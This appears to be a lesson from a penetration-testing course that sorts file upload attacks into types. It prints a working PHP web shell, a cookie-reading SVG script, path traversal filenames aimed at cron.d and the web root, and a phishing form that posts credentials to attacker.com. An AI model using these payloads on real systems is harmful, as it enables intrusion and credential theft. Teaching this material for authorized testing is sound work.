Now that we understand how file uploads work under the hood, let's explore the most common attack vectors. In the previous lesson, we saw the upload pipeline — each stage of that pipeline can be attacked in different ways. This lesson provides a taxonomy of file upload attacks so you can systematically test for each vector during an engagement.
The most devastating file upload attack is uploading a web shell — a script that provides a command-line interface to the server through a web browser. If an attacker can upload a PHP, JSP, ASPX, or similar server-side script and access it via a URL, they can execute arbitrary commands on the server.
A classic PHP web shell looks like this:
<?php
if(isset($_REQUEST['cmd'])) {
$cmd = ($_REQUEST['cmd']);
system($cmd);
die;
}
?>
<html>
<body>
<form method="GET">
<input type="text" name="cmd" placeholder="Enter command">
<input type="submit" value="Execute">
</form>
</body>
</html>Once uploaded to a web-accessible directory, the attacker simply navigates to /uploads/shell.php?cmd=whoami and sees the output of the whoami command. This gives them the same level of access as the web server process — which, in many cases, is sufficient to read sensitive files, access databases, and pivot to internal networks.
⚠️ Uploading web shells to systems without explicit authorization is illegal in virtually all jurisdictions. The code above is provided for educational purposes to help security professionals understand and defend against these attacks. Always test in authorized lab environments only.
File uploads can also be a vector for Cross-Site Scripting. Certain file types, particularly SVG (Scalable Vector Graphics), can contain JavaScript code that executes in the context of the hosting domain when the file is rendered by a browser.
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
alert(document.cookie);
</script>
<circle cx="50" cy="50" r="40" fill="red" />
</svg>This SVG file is a valid image that browsers will render, but it also contains a script that steals cookies. If the application allows SVG uploads and serves them with a Content-Type of image/svg+xml, any user who views the image will have their cookies sent to the attacker. This is particularly dangerous because the XSS executes in the context of the application's origin, bypassing any CSRF protections.
If the application uses the user-supplied filename to determine where to store the file, an attacker can inject path traversal sequences to write the file to an arbitrary location on the server.
Normal filename: profile.jpg
Malicious filename: ../../../etc/cron.d/backdoor
Malicious filename: ../../../var/www/html/shell.phpThe first malicious example writes a file to the cron directory, potentially creating a scheduled task. The second overwrites a file in the web root. Even if the application uses basename() to strip directory separators, some servers and frameworks may still interpret encoded traversal sequences like ..%2F or ....//.
File upload handlers can be abused to cause denial of service in several ways: uploading extremely large files to exhaust disk space, uploading many small files to exhaust inodes, or uploading files designed to consume excessive processing time (e.g., a 'zip bomb' — a small file that decompresses to an enormous size).
An attacker can upload an HTML file containing a phishing form. If the application serves the uploaded file within the same origin, the phishing page inherits the domain's trust indicators (HTTPS, domain name). Users are far more likely to enter credentials on a page that appears to be on the legitimate domain.
<html>
<head><title>Session Expired - Please Re-login</title></head>
<body>
<h2>Your session has expired. Please log in again.</h2>
<form action="https://attacker.com/steal" method="POST">
<input type="text" name="username" placeholder="Username"><br>
<input type="password" name="password" placeholder="Password"><br>
<input type="submit" value="Login">
</form>
</body>
</html>| Attack Vector | File Type | Impact | Severity |
|---|---|---|---|
| Web Shell Upload | PHP, JSP, ASPX, CGI | Remote Code Execution | Critical |
| XSS via SVG | SVG | Session Hijacking, Phishing | High |
| HTML Injection | HTML, HTM | Phishing, Credential Theft | High |
| Path Traversal | Any | Arbitrary File Write | High |
| DoS via Large Files | Any (large) | Service Unavailability | Medium |
| DoS via Zip Bomb | ZIP, GZIP | Resource Exhaustion | Medium |
| MIME Confusion | Polyglot files | Depends on execution context | High |
💡 When testing file uploads during a penetration test, work through this checklist systematically. Start with the highest-impact vectors (web shell upload) and work down. Document each test case with the exact request and response — this will be invaluable for your report.
Verify exercises to earn ★ 130 XP and unlock next lab level.